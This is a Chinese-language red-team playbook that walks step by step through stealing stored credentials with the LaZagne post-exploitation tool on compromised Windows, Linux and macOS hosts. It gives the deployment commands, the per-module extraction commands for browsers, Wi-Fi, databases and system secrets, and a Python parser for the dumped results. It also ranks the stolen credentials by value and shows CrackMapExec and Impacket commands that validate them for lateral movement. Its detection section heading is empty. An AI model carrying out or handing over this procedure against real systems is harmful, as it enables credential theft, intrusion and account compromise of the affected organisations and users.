Performing Credential Access With Lazagne

使用 LaZagne 执行凭据访问

概述

LaZagne 是一个开源后渗透工具，旨在检索存储在本地系统上的凭据。它支持 Windows、Linux 和 macOS，Windows 上的模块库最为丰富。LaZagne 从浏览器（Chrome、Firefox、Edge、Opera）、邮件客户端（Outlook、Thunderbird）、数据库（PostgreSQL、MySQL、SQLite）、系统存储（Windows 凭据管理器、LSA 密钥、DPAPI）、Wi-Fi 配置文件、Git 凭据及数十种其他应用程序中恢复密码。该工具被归类为 MITRE ATT&CK T1555（来自密码存储的凭据），并作为软件 S0349 列出。红队在获得初始访问权限后使用 LaZagne 收集存储的凭据，从而实现横向移动和权限提升。

目标

• 在已控制的 Windows、Linux 或 macOS 终端上部署 LaZagne
• 从所有受支持的密码存储中提取凭据
• 解析并优先排列恢复的凭据以便横向移动
• 识别高价值凭据（域管理员、服务账户、云访问）
• 以适当的证据处理程序记录凭据收割结果
• 将恢复的凭据与 BloodHound 攻击路径关联

MITRE ATT&CK 映射

• T1555 - 来自密码存储的凭据
• T1555.003 - 来自密码存储的凭据：来自 Web 浏览器的凭据
• T1555.004 - 来自密码存储的凭据：Windows 凭据管理器
• T1552.001 - 不安全的凭据：文件中的凭据
• T1552.002 - 不安全的凭据：注册表中的凭据
• T1003.004 - 操作系统凭据转储：LSA 密钥
• T1539 - 窃取 Web 会话 Cookie

实施步骤

阶段一：LaZagne 部署

1. 将 LaZagne 传输到已控制的主机：

   # 预编译的可执行文件（Windows）
   # 通过 C2 信道或文件上传传输 lazagne.exe
   
   # Python 版本（需要目标上有 Python）
   git clone https://github.com/AlessandroZ/LaZagne.git
   cd LaZagne
   pip install -r requirements.txt
   

2. 验证执行能力和权限：

   # 检查当前用户上下文
   whoami /priv
   
   # LaZagne 对用户级存储使用标准用户权限
   # DPAPI 主密钥、LSA 密钥、SAM 需要 SYSTEM/管理员权限
   

阶段二：完整凭据提取（Windows）

1. 运行所有模块的 LaZagne：

   # 提取所有凭据
   lazagne.exe all
   
   # 导出结果为 JSON
   lazagne.exe all -oJ
   
   # 导出结果到特定文件
   lazagne.exe all -oJ -output C:\Temp\creds
   

2. 运行特定模块进行定向提取：

   # 仅浏览器（Chrome、Firefox、Edge、Opera、IE）
   lazagne.exe browsers
   
   # Windows 凭据存储
   lazagne.exe windows
   
   # 数据库凭据
   lazagne.exe databases
   
   # 邮件客户端凭据
   lazagne.exe mails
   
   # Wi-Fi 密码
   lazagne.exe wifi
   
   # Git 凭据
   lazagne.exe git
   
   # 系统凭据（需要提升权限）
   lazagne.exe sysadmin
   

阶段三：凭据提取（Linux）

1. 在 Linux 目标上运行 LaZagne：

   # 完整提取
   python3 laZagne.py all
   
   # 浏览器凭据
   python3 laZagne.py browsers
   
   # 系统凭据（SSH 密钥、以 root 身份的 shadow 文件）
   python3 laZagne.py sysadmin
   
   # 数据库凭据
   python3 laZagne.py databases
   
   # Git 凭据
   python3 laZagne.py git
   

阶段四：凭据分析与优先级排序

1. 解析 JSON 输出以获取唯一凭据：

   import json
   with open("creds.json") as f:
       results = json.load(f)
   for module in results:
       for entry in module.get("results", []):
           print(f"来源: {entry.get('Category')}")
           print(f"  用户: {entry.get('Login', 'N/A')}")
           print(f"  URL/主机: {entry.get('URL', entry.get('Host', 'N/A'))}")
   

2. 按价值优先排列凭据：
   • 域凭据（AD 账户）用于横向移动
   • 云服务凭据（AWS、Azure、GCP 控制台）
   • VPN 和远程访问凭据
   • 用于数据访问的数据库凭据
   • 用于商业邮件入侵的邮件凭据
   • 用于权限提升的服务账户凭据

阶段五：凭据验证与使用

1. 验证恢复的域凭据：

   # 使用 CrackMapExec 测试域凭据
   crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
   
   # 使用 Impacket 测试
   smbclient.py domain.local/user:'password'@10.10.10.1
   

2. 与 BloodHound 路径交叉对比高价值目标
3. 使用恢复的凭据进行横向移动或权限提升

工具与资源

LaZagne 模块覆盖范围（Windows）

检测特征

验证标准

• 已在已控制的终端上部署 LaZagne
• 已完成完整凭据提取（所有模块）
• 凭据已以 JSON 格式导出用于分析
• 已解析并去重恢复的凭据
• 已识别并优先排列高价值凭据
• 已针对 AD 验证域凭据
• 已从恢复的凭据识别横向移动机会
• 已以适当的处理程序记录证据